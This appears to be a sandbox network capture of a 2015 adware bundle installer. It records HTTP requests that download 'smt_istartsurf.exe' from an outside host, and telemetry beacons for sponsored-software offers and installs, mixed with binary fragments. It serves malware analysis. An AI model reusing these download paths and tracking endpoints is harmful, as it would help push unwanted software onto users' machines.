.!...^Q.l...P....ZC....iLU....o4..<..8.ld...\O..........o.|...J....
.....KB$..|n.x...~...'}....Y.v..`~..^..~z.TU..T.......=p~..W.,..K...d.
.......lbO#R.`.3y.m...6..o..."2C[.X[q.....ws.x..^...[..L(..5'.g.T.x...
.Q./!u.8........*...g..~....).FY...Y.F.M..G.By......r.eE..dI..b. ..>
;C.....aSI......"X..1.......L..7.1..Jj.E.D..........m.C..../o.n...[.I.
v..SP....e......'Bxn..H...dp.O....#:..{..?..^....O.. ....MD...D'N.*...
..6.M..R.P.a.............d..;...h4T.....(./BsjpD.......hH0..,.2.B..5..
.!.M.. 1....B.@...'.E..x~....f..N..=!.1....:.J....gj....C.._. G"......
.o.Q9.O..#.u........T.....(...W#.(.CIt=...*.>dn*..n.b.."...........
.[..=.,$.\..R..`k(%...q.|l..M../.0(..L#9....F.Z.G<...W`.X.H\.e.;...
..j.M..............q..H........S..`..e|)[email protected].?.>.\..i;
...0.....G......./...V.V. .j.w|....X.>r....ifZ.X...g.../sU2..p6.$..
..R........,.....X..!S~.Wq..u...^.......*>..(.d....e..|I....nx...W.
...C2*..).j;{Y..mw*BW.....nu.. F...(......3wXt.g.zL..*.l...O@ze......'
.4...A..1!........Y....V..G5s.p.9...\[email protected]\U......'@1...
<<< skipped >>>


GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.finish HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Wed, 15 Apr 2015 02:29:07 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.62 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Wed, 15 Apr 20
15 02:29:07 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.62 ms","message":"store 1 ac
tion and 0 update "}..0..



GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD/yl6nWPkczAQUe1tFz6/Oy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS+zcBkvzl4= HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.thawte.com


HTTP/1.1 200 OK
Server: nginx/1.4.7
Content-Type: application/ocsp-response
Content-Length: 1503
content-transfer-encoding: binary
Cache-Control: max-age=407895, public, no-transform, must-revalidate
Last-Modified: Sun, 12 Apr 2015 19:50:16 GMT
Expires: Sun, 19 Apr 2015 19:50:16 GMT
Date: Wed, 15 Apr 2015 02:32:01 GMT
Connection: keep-alive
0..........0..... .....0......0...0......&Km...."....}....,.c..2015041
2195016Z0s0q0I0... ........0..k....&..p..^.X.....{[E....z.1..j..F.WHP.
.G.Mxs..../.p./.^....20150412195016Z....20150419195016Z0...*.H........
...../..m..=.:.Z.N....Q..3.-p.....m..J...f`m$.6y......EV*h=yX...M4T..j
."X.?....D...k..V2....x.A#.0..,.6..F..r ..h..gb..-.R.!...A.....wM..{..
..pp.5..$^.....6H....zSn.2.T]...-.....cm ...f.6.9R7......]H.Bb.3md..P.
..=)1^..1.e>j......`._;..t.....&...t...X...V..2H.......0...0...0...
.........I...*....^n...0...*.H........0..1.0...U....US1.0...U....thawt
e, Inc.1(0&..U....Certification Services Division1806..U.../(c) 2006 t
hawte, Inc. - For authorized use only1.0...U....thawte Primary Root CA
0...141202000000Z..151216235959Z0_1.0...U....US1.0...U....thawte, Inc.
1907..U...0thawte Primary Root OCSP Responder Certificate 30.."0...*.H
.............0.........x...F83..,.D.,2D.;JGc.|_.k.....B.7.....G}.M.s..
...S.i.Uu.h.Aq..v...4:l..U.......T7l...~vl...r....{*..........V.o..8|.
B..^.a.. ...z....x..s...\[Y....<....'> ..YC..7.zVk.$...o3..kao]c
...>C./bPX.......I..Oc.....NN......g.....,/..]......qN.....V!<.3
.)...y#.........i0g0...U.%..0... .......0... .....0......0...U.......0
.0...U...........0!..U....0...0.1.0...U....TGV-B-2770...*.H...........
.....lt..\..z. ..N.f.!.S5d?J.&....r...D........L.`.s.p...HC.L.8f... ..
.......GA7......P..Z.%.../............z.n.6~I...].).....W...W\|.uya..:
...^...hW..7.Z.uc.'....:.xL...HS.....>.........5......%....3S....h.
.......U....o.C.\.t.....G.._.C0(l.E9..6UTxg.gF ..;.....
<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECEBILJd3le4hjatTZfSO5nIg= HTTP/1.1


Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.thawte.com


HTTP/1.1 200 OK
Server: nginx/1.4.7
Content-Type: application/ocsp-response
Content-Length: 1396
content-transfer-encoding: binary
Cache-Control: max-age=564880, public, no-transform, must-revalidate
Last-Modified: Tue, 14 Apr 2015 15:25:01 GMT
Expires: Tue, 21 Apr 2015 15:25:01 GMT
Date: Wed, 15 Apr 2015 02:32:01 GMT
Connection: keep-alive
0..p......i0..e.. .....0.....V0..R0......Qw.}`[email protected]
4152501Z0s0q0I0... ........l....r.vdv0..*.~Y..X....e?z.4..G.L.......q.
...%..{.cj..}#.......20150414152501Z....20150421152501Z0...*.H........
......k!.. ..}m....h.a.......e...Z!4....(.9..|..l./.@*..}........../..
..p.q.....n4.Q..U6'..a...AyZy....%...U..;.D.:...0.x.{..F...w....[...&.
...j.........*....c..........@\.ZM......I.....k...Z....oB.8...-'......
N...D.0.h..[P...?>.r.h........G...3...ah..,.;.o`.......0...0...0..y
.......^..........N...)0...*.H........0J1.0...U....US1.0...U....Thawte
, Inc.1$0"..U....Thawte Code Signing CA - G20...150303000000Z..1506012
35959Z0Y1.0...U....US1.0...U....Thawte, Inc.1301..U...*Thawte Code Sig
ning CA - G2 OCSP Responder0.."0...*.H.............0............).Z...
....O.~.l...,\.3.".'.'W .ih./..}OA...K...HJd....K^..<.....-.rWJ.j.U
.._......W.../.6....J.y.u-.\...2..U.52B.>...=F...RbR.y.zm.......{b.
bj....Y..J..m...*=.^......V.}p......rmA......9.L ...{?.g.-Y...........
.8...k.$.:.5..6#4..F.#....t.B.8.O)'F.p).........d0b0...U....0.0...U.%.
.0... .......0...U........0... .....0......0"..U....0...0.1.0...U....T
GV-B-32450...*.H..............C.....8.Aw.{....`...y1N...W4M..M.J.3~..7
#}..X..:x..5....$...Z^%.?6..e...}I.)....... .A.w......_...B..j.T..Yu.o
.....g....H....q.Ju.SA`K.....~..O_.....S....I>..O.X..E.......]...y.
.L..F....K......../...._XSk6.:a};.?`...:^.....p....4Z.3L;.......t....&
gt;.....j....
<<< skipped >>>


GET /affiliates/grooveload/scilors4848.png HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/grooveload/grooveload/608d3271d8f3494f867a2b514a49c4e9?v=2.1&uid=608d3271d8f3494f867a2b514a49c4e9&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: downloadcdn.filebulldog.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: image/png
Content-Length: 4204
Connection: keep-alive
Server: nginx
Date: Wed, 15 Apr 2015 02:27:27 GMT
Last-Modified: Sun, 09 Sep 2012 07:06:04 GMT
ETag: "504c3fdc-106c"
Expires: Wed, 15 Apr 2015 02:37:27 GMT
Cache-Control: max-age=600
Accept-Ranges: bytes
X-Cache: Miss from cloudfront
Via: 1.1 b379cb9d901cbfbf7149e576e26c08a3.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 48gWfdkOSlNp_jWAxiaNsKavtV2i12DUIFdfqQe-AQuNYltRXZT24Q==
.PNG........IHDR...0...0......`n.....sRGB.........gAMA......a.....pHYs
..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDATXG.XwX.....
]V.....})bg-..."*ED.....t.lE..z.5.K...%...&..j.F..X.`.X.)...a..gV../..
>y....~..03;..{.s...H._l .1<=...WD..PwOO7.....'.`..{..`tu[...mm.
--.....;m...8;..~.MOO.}......7~..........c.......l.]].=v.........'N...
...l...*I..g...j7mzm...}~........qWW.|...n.c.o.c......\L.0......'.X...
..z.;l6..r...5.K#c.....d...S..%.._.6t1?h.[..&(r....sS...../..Z[m6.S..m
a.........9z.....;p.F.(.o?.u6..?.<.8]-.4.U>.34S2....}.,8....,..R
|9b....?./.2x.vQH2.0N...n....n?j}d.Y....0..m..=.....b...t.QV&.....Wl,.
>xt...T..........E.e..2}...V..6`U..U5....7..o.....W...X.h...i..=.q.
.jkg;.....1/..."d...l..h.......&h...,&.}Q.y...R5.j..1.z...L..D....AQl.
Xi......!j....K.r?..OU.../.../..0...Y.......m.x|..O.....Q.....o...x..\
m.4.. T7RZ#.o..&.. R....BS.TtkPn...O.K....AL....y.....W...uZ.YM. .....
..v6.X...w.;u!jZ2_.C..&L=AeWP.5..V....VI.n.3....Qig.......97..WD.?&...
.&p.......`:<'Z.ED.v......{U56[gwO.=......M..Nkyy....Oy.9y.8..(....
 ,...].-;I$...Q..Ir....8.5h...%>c.}^../...e...C.(..q..c6D./..."<
...aQ[....`` ..d.H.Ms...n.V*0.7t9...Q.e..........._...77e6.9.....g...p
\../.3.9.....q@Q....\........_.p.k.9[. ..C"f......m}.zZxl..'O.PF..]@..
.....\.....(.Q...hr.^1y....q.9.<.......:[email protected].^g..
.......Es.r.UW...A.f.9yi..8...L.| Yv\8s...y(_.r......I.....(....r.. ..
.f..;(....~\w."[email protected]...\jN.Y....=p...?.'......a..:]vV...12E..O...`.
FG.$..F.....x...`..(>...n..f..A8...2...."..C........H.........[
<<< skipped >>>


GET /app/ping.ashx?e=hpY1rXLYst7rylc9w7m97SvLfUo0CTVi8EpdpxxWjuKRoZJTpqsyZxASc9FSZWyoGYsEX4kIHltnnIi6DhqTDVTiXSW154aAYra 8n4adNVYtrOl7BfDWPc/boITtVwp1P9gDFCZ6VapvGDt BB/ci1dbz JN6x9xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kj743oquM6YSXpzpDp5WNdxbzP/mug6NI0uACWBozAPE/QHXC5f7/IDoBSr28YVyfPg8SfsOq8sVv HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 15 Apr 2015 02:28:38 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=EYAmqppYZO9UzMSzzHoKeclFIF2sauMT2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrpu3gu7HXmYGCQusjE2lu5McDok662BGy3mdYxkoa5P4 fec90flyKxMkX9sPQVhQoOH/4D/1WW drxeglkK7bM8DllDAjWZb4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJrw5bx1Bs6wX/Re18ke5PqUolQ9N4vKzl4ltILkcPZHlLF3YFs/ceKLs1ZJVUBHzvfH/jy8G4FGJY4SiD403Los HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 15 Apr 2015 02:28:39 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=EYAmqppYZO9UzMSzzHoKeclFIF2sauMT2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrpu3gu7HXmYGCQusjE2lu5McDok662BGy3mdYxkoa5P61J8WDbI2zXWceTUfoD7PipsrZDsYYadYLJQuWr4kCVvVFayGUnBvwp/sUwP8Ujkw9iAWgxkwic8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXoDAbDf1f5I  N6KrjOmEl6c6Q6eVjXcW8z/5roOjSNLgAlgaMwDxP0B1wuX /yA6AUq9vGFcnz4PEn7DqvLFbw== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 15 Apr 2015 02:28:39 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=/Fcwh0Xd/M2fZNC1TqAoBNbs/RTuaadBTEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkGuSf5ccJqhPApvxZ8YpM5iHXpIMhPvgYNKFtm0XTWlrU2Z1SyzBY81o8H6qezB8RqTFlxlzn4VIl8JkmZ/Wy9wpDKX/a3tH594khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjkZtVgFRKAib9fTRfIhT5MdIjmlqkwahXnm1fbP01zi3GriK1y4p4Uys5hz/NFhryl9vYV5K80Zgaau9xWXQx// HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 15 Apr 2015 02:28:39 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=ZfTZC8DxP8ZUzMSzzHoKeZnhoWWPiNC12YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrpu3gu7HXmYGCQusjE2lu5McDok662BGy3mdYxkoa5P57HEv67ptHclD/oBpUX5crnl1xOKDZuhX43G01TipW9smoUR/DSN1Jzq8kbQMYE3PNCovy49GhxATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3cXZ8qiEfUAdAiBE4y6i2IRaeKjtx u3K REomRG/B4qC/5uqu42/oMA9xta9wMsup2a/d4th3rZwfJKZ4NCKSCQ== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 15 Apr 2015 02:28:39 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Wed, 15 Apr 20
15 02:28:39 GMT..Content-Length: 0..



GET /affiliates/eula.html HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: hXXp://bi.bisrv.com/grooveload/grooveload/608d3271d8f3494f867a2b514a49c4e9?v=2.1&uid=608d3271d8f3494f867a2b514a49c4e9&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d2d55ordy2t3g4.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Server: nginx
Date: Sun, 12 Apr 2015 04:53:18 GMT
Last-Modified: Sun, 26 Oct 2014 17:23:05 GMT
Expires: Sun, 12 Apr 2015 05:03:18 GMT
Cache-Control: max-age=600
Content-Encoding: gzip
Vary: Accept-Encoding
X-Cache: RefreshHit from cloudfront
Via: 1.1 a40df8536d823ad9767f3e132bc909ae.cloudfront.net (CloudFront)
X-Amz-Cf-Id: -5e94exvGUJynwOgUdjHz_vNcZoPi0kuTHMkCCgmqNapx0YgZBwgzw==
1500.............Zks.F......N.......|.-y."!...P.P.... .)".....1S..{...
.R.g.Jl...}.{...>....F7..ZV.T]NO..Pu....?...Q4R..G.c...VEE..I..Y...
...:..Z........?...n...G......o......w>.o.d..U.../......4..`..?~{T.
.d]..i..;.~......y.Q....7i<,..<.....d...|...l.?..t..F.OeU$.....:
Xl..U;8...Q.~.vGw......E.I.....z.7S....q.I..f.q.DW.....U....|..(.u.1..
.z..3..|....A.....:.............P....X$..*.w..........s.;..]..........
u.?..%f...~....S..b...,..........5.(,Qm...w .NK...Y>......u.......}
n..C......8$....)..R..4IuwS....h...*...f.e.q7...<y...I.....:8...s#Z
/M./...B...s..|}[email protected]..)t..uJ.WR..._.LTvz. yV._.L.tz..6 ......
..e.......6.....#b.j.A..yw.[.p.a...6n.6;(u40..8.....&..DT.....EQ..k..J
D.C....zDq....W...X...f.W..D....I.:............~..........f..a.QZ....&
gt;f%.(..n....z.v.u.mCc..].......u$..S..UK<...."T.......dhR.U7i.3..
.....4.K.....6..-..]......'$Y..9$.....U>Et....y....M..M.2x.....`An|
.^.t'O.. !..m>.:8.KZ.........$C...f..Ll...4.<ZGm.$H{Q...........
z..m................p........|C.......i^.W.}'.>..*.....z .=,..7..L.
WY^..T./..zS&...w....g.x..O.U\$q.S....Y.S%*.7..................W..,^'8
......o..W..Z....Q.U.7bp...l5.E....=P....A.D;45....d.q...Jg....."...&l
t;._&...>(VQ..<......Q..v.....?@,...h...P8..i.<N.......fs5.u.
8...8v..-. .....OG..'O.....3{*1u....P..?TK...!..:...e.......6.N./.....
C...'...V&.].....|.b...\.D..J...Y...n-.j.j...u..G.....B.h.Z......s..dw
...9.\...D....]w.n..r&#...~..q4.St........&..3RC'pO.....p.C.2R..."7..6
x8.'#/..I..S......vd..r......I.9..79..B.4..^}ur....S..s...u2."...~
<<< skipped >>>


GET /home/smt_istartsurf.exe HTTP/1.1
Range: bytes=503496-
User-Agent: Better Installer(Mozilla)
Host: VVV.girlliuxiaowei.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Wed, 15 Apr 2015 02:28:20 GMT
Content-Type: application/octet-stream
Content-Length: 167832
Last-Modified: Fri, 10 Apr 2015 02:59:56 GMT
Connection: keep-alive
Expires: Sat, 18 Apr 2015 02:28:20 GMT
Cache-Control: max-age=259200
Content-Range: bytes 503496-671327/671328
PARAMETER...TEARDOWN....PAUSE...PLAY....SETUP...ANNOUNCE....Refusing t
o issue an RTSP request [%s] without a session ID.....DESCRIBE....OPTI
ONS.Got invalid RTSP request: RTSPREQ_NONE..Failed writing RTP data.Ca
nnot pause RTP....Cannot write a 0 size RTP packet....Got RTSP Session
 ID Line [%s], but wanted ID [%s]...Got a blank Session ID..Unable to 
read the CSeq header: [%s]....: %ld...Got an error writing an RTP pack
[email protected].._E..0E. `E. `E.........@0E.......
......D...t.G.N............HE..$E.."E.p.G...F...F...F.................
....................................EHLO %s.HELO %s.STARTTLS....AUTH %
s.AUTH %s %s..No known authentication mechanisms supported!...HELP....
%s %s...VRFY....MAIL FROM:%s SIZE=%s....MAIL FROM:%s AUTH=%s SIZE=%s..
..MAIL FROM:%s AUTH=%s....MAIL FROM:%s....%I64d...<%s>....<&g
t;..RCPT TO:<%s>....RCPT TO:%s..QUIT....Got unexpected smtp-serv
er response: %d.STARTTLS denied. %c.STARTTLS not supported..Remote acc
ess denied: %d....Authentication cancelled....Command failed: %d..MAIL
 failed: %d.DATA....RCPT failed: %d.DATA failed: %d.........SMTPS not 
supported!....AUTH=...localhost...........Failed to alloc scratch buff
er!.SMB.....`.G.0FE..... [email protected].......
..............NT LM 0.12..curl....i386-pc-win32...?????...\\..pop.POP3
..........G..PE..VE..NE.....0VE.._E. PE. `E. `E..........OE.....n....@
..D.....G. ... ........HE..$E. \E...G...F...F...F.....................
....................n...........CAPA....STLS....USER %s.APOP %s %s
<<< skipped >>>


GET /1667.ashx?e=o4wkB1bL2nIsXAWAU9YfxuKfPARRv72IQF3UKsSdb2sRoGJKEMpEhX5dMiu8MPG0GcCzgaLtg/s4GH02ZDTF81o7EaJf8CJfPgEgBl18xKcFNvXD6mBl4tSSaUQFDqWEnmP3t8anGDfo8Vvghbk4fxVahU/Z994EWgtg 4FS7F1Vson/tlR IHRbglB1j0/SsBdhPvCxS4HxIkD535tYIXvUnRuDcgytBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLxcnh8TNur0oiOaWqTBqFeebV9s/TXOLcauIrXLinhTKzmHP80WGvKcqwZwxAX4ff HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com

GET /1667.ashx?e=2fVCHF6kf8i8qFEAMB5m YJgJLadOwVD7OXLse4BafTbQC nVTu53mZVsyaCUtL6Avy26 fOLXYiOaWqTBqFeebV9s/TXOLcauIrXLinhTKzmHP80WGvKRVWaKclJYCzVR5AawbKoxopJb8t2bI2vA/B4f0 bvoYYCpHZc9ZUaFgmm5xjmBlpCI3FLqKedV9QoAE/or KqogGeUpHHIWiSSfRcuIfR0fUu0KI1IApgXi8o/D3UbFG4wueQK7BlSysAA87lr5peQqPeikK78R8xbc 92iXckP2zoGJL1TUxzG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H30XtfJHuT6lKJUPTeLys5eJbSC5HD2R5Sxd2BbP3Hii1w0MU/DXWBP HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:37 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Wed, 15 Apr 2015 02:28:37 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..HTTP/1.1 200 OK..Date: Wed, 15 Apr 2015 02:28:37 GMT..Co
ntent-Length: 0..Connection: keep-alive..Cache-Control: private, no-st
ore..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDN
A-cache/2.2..X-Cache: MISS..



GET /7161.ashx?e=aQQpsP6/AW1PNjxRBLtb4z5bXhDtFhrX/WD6e6SZIIHeyzV7AofXlhYwsCIys4jFl9RbU5Ar lyArz49/3cS03f1ws7XaD2yIg0p1vUMLr4E8SFHLIEPsGJTlYCQaOf7GuVxeoIbRG3Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW Q== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:42 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS



GET /pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=appshat_madness&tokyo_csrf2_key=4e340ccb0deb9c3d83c2d62dba244260&tokyo_csrf2_timestamp=1429064895&slot_number=4&index_in_screen=1&index_in_session=4&0.06926717798892545 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/downloader/grooveload/grooveload/118da1f976d76e498cb7b97066dd3d92?muid=AD2252CE007468623BD139B0ADEC3423&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=118da1f976d76e498cb7b97066dd3d92&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:28:15 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 15 Apr 2015 02:28:15 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......


GET /pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=4e340ccb0deb9c3d83c2d62dba244260&tokyo_csrf2_timestamp=1429064895&slot_number=1&index_in_screen=1&index_in_session=1&0.9374496124433497 HTTP/1.1


Accept: */*
Referer: hXXp://bi.bisrv.com/downloader/grooveload/grooveload/118da1f976d76e498cb7b97066dd3d92?muid=AD2252CE007468623BD139B0ADEC3423&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=118da1f976d76e498cb7b97066dd3d92&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:28:18 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 15 Apr 2015 02:28:18 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /home/smt_istartsurf.exe HTTP/1.1
Range: bytes=419580-
User-Agent: Better Installer(Mozilla)
Host: VVV.girlliuxiaowei.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Wed, 15 Apr 2015 02:28:20 GMT
Content-Type: application/octet-stream
Content-Length: 251748
Last-Modified: Fri, 10 Apr 2015 02:59:56 GMT
Connection: keep-alive
Expires: Sat, 18 Apr 2015 02:28:20 GMT
Cache-Control: max-age=259200
Content-Range: bytes 419580-671327/671328
.<...Q..8...QRP.0>.... ......^]..u...4...Q..0...QRP..>....(..
....^].-rF.?rF.hrF..rF..rF..rF..rF.=sF.QrF..sF.........U..V.u.........
...Z=..............0.....4...^]..U...E..M..U.............].......U...E
..M..U.............].......U...U...|!.M.....r..E.......@............].
.E............................]......U...U...|!.M.....r..E....... ....
........]..E............................]......U.........T.H.3..E..E.S
VW.8..............3...t.....x.....d.....h.....l.....p.....\.....`.....
T.....X.....P.......;...U. .4......U..E. .0....E..5P.G..E............`
........E..U........z....................M..U..m.... .................
.......z....................E..M..m....................9.......j....M.
..P.............9M.|....U.;U.v..E..M....E....P....E....T..............
.......................}...I.........|..........U....E......E.........
.......M.RPQV..:........E...u.......u....P....M. ..P......T......T....
.|....].x-..=7.A.v$..|....E..5H.H.....................^j.h....SP.Z*...
......RPSQ..................2........................;.|...;.w........
................................tk............R......Q......R......Q..
....R......Q......R......QR......$..t.h4.H.W..=....._..^[.M.3........]
.........t].............. .\$........\$........\$.........$Q......$..t
.h4.H.W.u=....._..^[.M.3........]...P............xF................t.Q
P..0...h..H.P..........0...h`.H.Q........................ ............
....................................PQVS.......\.....`.....|[.....'..v
.j.jdVS.....R......P.......#..|2....t,............j.jdQR.2(..VSRP.
<<< skipped >>>


GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.regok HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Wed, 15 Apr 2015 02:28:47 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.62 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Wed, 15 Apr 20
15 02:28:47 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.62 ms","message":"store 1 ac
tion and 0 update "}..0..



